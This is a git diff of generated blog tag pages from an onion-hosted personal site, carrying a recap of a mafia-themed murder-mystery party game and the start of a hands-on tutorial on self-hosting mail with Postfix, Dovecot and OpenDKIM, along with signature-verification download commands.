    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/nginx/page/1/index.html b/public-onion/tags/nginx/page/1/index.html new file mode 100644 index 0000000..c4d9a4e --- /dev/null +++ b/public-onion/tags/nginx/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/ + + + + + + diff --git a/public-onion/tags/noir/index.html b/public-onion/tags/noir/index.html new file mode 100644 index 0000000..6c96291 --- /dev/null +++ b/public-onion/tags/noir/index.html @@ -0,0 +1,352 @@ + + + + + + + +Noir | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    La Plaza: The Falcones & the Morettis +

    +
    +
    +

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    +
    +
    October 25, 2025 · 13 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/noir/index.xml b/public-onion/tags/noir/index.xml new file mode 100644 index 0000000..6ddedf7 --- /dev/null +++ b/public-onion/tags/noir/index.xml @@ -0,0 +1,220 @@ + + + + Noir on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/noir/ + Recent content in Noir on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 25 Oct 2025 07:52:53 +0000 + + + La Plaza: The Falcones & the Morettis + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war. + Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/noir/page/1/index.html b/public-onion/tags/noir/page/1/index.html new file mode 100644 index 0000000..78de704 --- /dev/null +++ b/public-onion/tags/noir/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/noir/ + + + + + + diff --git a/public-onion/tags/opendkim/index.html b/public-onion/tags/opendkim/index.html new file mode 100644 index 0000000..690b846 --- /dev/null +++ b/public-onion/tags/opendkim/index.html @@ -0,0 +1,354 @@ + + + + + + + +Opendkim | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/opendkim/index.xml b/public-onion/tags/opendkim/index.xml new file mode 100644 index 0000000..64046bb --- /dev/null +++ b/public-onion/tags/opendkim/index.xml @@ -0,0 +1,154 @@ + + + + Opendkim on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/opendkim/ + Recent content in Opendkim on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

